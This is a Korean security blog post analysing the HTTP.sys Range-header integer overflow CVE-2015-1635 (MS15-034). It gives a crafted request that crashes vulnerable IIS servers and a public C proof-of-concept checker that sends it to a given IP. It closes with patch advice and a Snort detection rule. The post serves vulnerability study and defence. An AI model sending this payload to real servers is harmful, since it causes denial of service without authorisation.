1. HTTP.sys

- w3wp.exe라는 IIS worker process와 Client 사이의 중간자 역할

- Client로부터 요청을 받아 w3wp.exe에 전달해주며, w3wp.exe가 처리한 결과를 받아 다시 Client에 전달

[사진 1] HTTP.sys

2. 취약점

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- HTTP 요청에서 패킷 사이즈를 변경하여 정수 오버플로를 발생시켜 서버에 BSOD(Blue Screen Of Death)를 유발하거나, 임의의 명령을 수행할 수 있는 취약점

취약한 버전
- Microsoft Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows Server 2012 Gold 및 R2
- Windows Server 2008 R2 SP1

 

2.1 취약점 분석

- HTTP.sys의 주요 함수

함수명 설명
UlpParseRange - Client 요청 패킷을 처음 처리하는 함수
- 동일한 요청에 대해서는 웹 서버에서 캐쉬된 Content를 사용해 속도를 높임
UlPrepareCacheMissRangeResponse - Client에서 처음 요청 했을 때 Response 처리 해주는 함수
UlAdjustRangesToContentSize - 요청 받은 range와 파일 size를 비교 및 체크를 수행하는 함수
UlpBuildCacheEntry - 동일한 요청을 받은 경우 웹 서버 성능 향상을 위한 캐시함수
UlBuildFastRangeCacheMdlChain - _imp__IoBuildPartialMdl 호출
_imp__IoBuildPartialMdl - UlBuildFastRangeCacheMdlChain 함수의 return 값 만큼 메모리 할당

 

- 취약점이 발생하는 함수는 UlAdjustRangesToContentSize()로 다음 식을 이용해 요청 받은 파일 사이즈를 처리

// Security Check 함수
// 실제 파일 사이즈보다 작은지 검증
// Range High + 1 값이 요청받은 파일 사이즈보다 작을 경우 Security Check OK
Range Low + (Range High - Range Low + 1)   ->   Range High + 1

// 할당 받는 메모리 크기
Return Value = Range High - Range Low + 1

 

- 정상적인 요청의 경우와 조작된 요청을 비교하면 다음과 같음 (Range 값 중 18은 0보다 큰 임의의 큰 값을 선택한 것)

정상적인 요청 조작된 요청
GET /hello.png HTTP/1.1
Range: 18-1365
hello.png FileSize : 184946
GET /hello.png HTTP/1.1
Range: 18-18446744073709551615
hello.png FileSize : 184946
Range High + 1 < File Size (Security Check 수행)
- 1365+1 = 1366 < 184946 // Security Check OK
② Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 1365-18+1 = 1348
③ _imp__IoBuildPartialMdl 메모리 할당
- 1348 만큼의 메모리 할당
 Range High + 1 < File Size (Security Check 수행)
- 18446744073709551615+1 < 184946
- 18446744073709551615는 16진수로 0xFFFFFFFFFFFFFFFF
- 64bit 이상 표현할 수 없기 때문에 0x0000000000000000이 됨
- 0 < 184946 이므로 Security Check OK
 Range High - Range Low + 1 Retutn(할당 받는 메모리 크기)
- 18446744073709551615-18+1 = 0xFFFFFFFFFFFFFFEE
 _imp__IoBuildPartialMdl 메모리 할당
0xFFFFFFFFFFFFFFEE 만큼의 메모리 할당

 

[사진 3] 조작된 요청 동작 요약

 

- 위 표 및 사진에 따라, _imp__IoBuildPartialMdl에 의해 0xFFFFFFFFFFFFFFEE 만큼의 메모리를 받아오는 과정에서 BSOD가 발생

 

2.2 취약점 상세

- 취약 서버 구성

[사진 5] 취약 서버 구동(좌) 및 정상 접근 확인(우)

- Range 헤더 조작 후 요청 전송

[사진 6] 조작된 요청 전송

- BSOD 발생 확인

[사진 7] BSOD 발생

- 해당 패킷을 와이어샤크로 확인하면 다음과 같음

[사진 8] 와이어샤크

2.3 PoC

- 공개된 PoC를 확인해 보면 Range 헤더를 조작하는 것을 알 수 있음

/*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

	8a8b2112 56              push    esi
	8a8b2113 6a00            push    0
	8a8b2115 2bc7            sub     eax,edi
	8a8b2117 6a01            push    1
	8a8b2119 1bca            sbb     ecx,edx
	8a8b211b 51              push    ecx
	8a8b211c 50              push    eax
	8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

	BY: john.b.hale@gmai.com
	Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
	int sockfd = 0, n = 0;

	 struct sockaddr_in serv_addr;
	 struct hostent *server;

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    	{
        	printf("\n Error : Could not create socket \n");
        	return 1;
    	}

	memset(&serv_addr, '0', sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
    	serv_addr.sin_port = htons(80);
	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
    	{
        	printf("\n inet_pton error occured\n");
        	return 1;
    	}
	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
    	{
       		printf("\n Error : Connect Failed \n");
      		return 1;
    	} 

	return sockfd;
}
	

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
		printf("[*] NOT IIS\n");
		exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
	printf("[*] Looks Patched");
} else
	printf("[*] Unexpected response, cannot discern patch status");
	

		

}

 

3. 대응방안

3.1 서버 측면

① Windows 최신 업데이트 적용

- 패치된 버전에서는 UlpParseRange 함수에 RtlULongLongAdd 함수를 호출하여 Overflow 여부를 확인하도록 함
- Integer Overflow가 발생할 경우 RtlULongLongAdd 함수는 STATUS_INTEGER_OVERFLOW 에러를 리턴

 

3.2 네트워크 측면

① 탐지 룰 등록

- 공개된 PoC를 확인해보면 Range 헤더를 조작하므로 Range 헤더 등을 탐지

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-IIS Microsoft IIS Range header integer overflow attempt"; flow:to_server,established; content:"Range"; nocase; http_header; content:"bytes"; distance:0; nocase; http_header; content:!"|0A|"; within:12; http_header; pcre:"/^Range\s*\x3a\s*bytes\s*\x3d[^\x0a]*?\d{11}/Him"; metadata:policy security-ips drop, service http; reference:bugtraq,74013; reference:cve,2015-1635; reference:url,technet.microsoft.com/en-us/security/bulletin/ms15-034; classtype:attempted-dos; sid:34061; rev:3;)

 

4. 참고

- https://www.sharedit.co.kr/posts/1912

- https://nvd.nist.gov/vuln/detail/CVE-2015-1635

- https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=22683&queryString=cGFnZT0xJnNvcnRfY29kZT0mc29ydF9jb2RlX25hbWU9JnNlYXJjaF9zb3J0PWRpc3BsYXlfY29udGVudHMmc2VhcmNoX3dvcmQ9Q1ZFLTIwMTUtMTYzNQ== 

- https://learn.microsoft.com/ko-kr/security-updates/securitybulletins/2015/ms15-034

- https://www.exploit-db.com/exploits/36773

- https://blog.qualys.com/vulnerabilities-threat-research/2015/04/20/ms15-034-analyze-and-remote-detection

- https://github.com/John-Lin/docker-snort/blob/master/snortrules-snapshot-2972/rules/server-iis.rules

+ Recent posts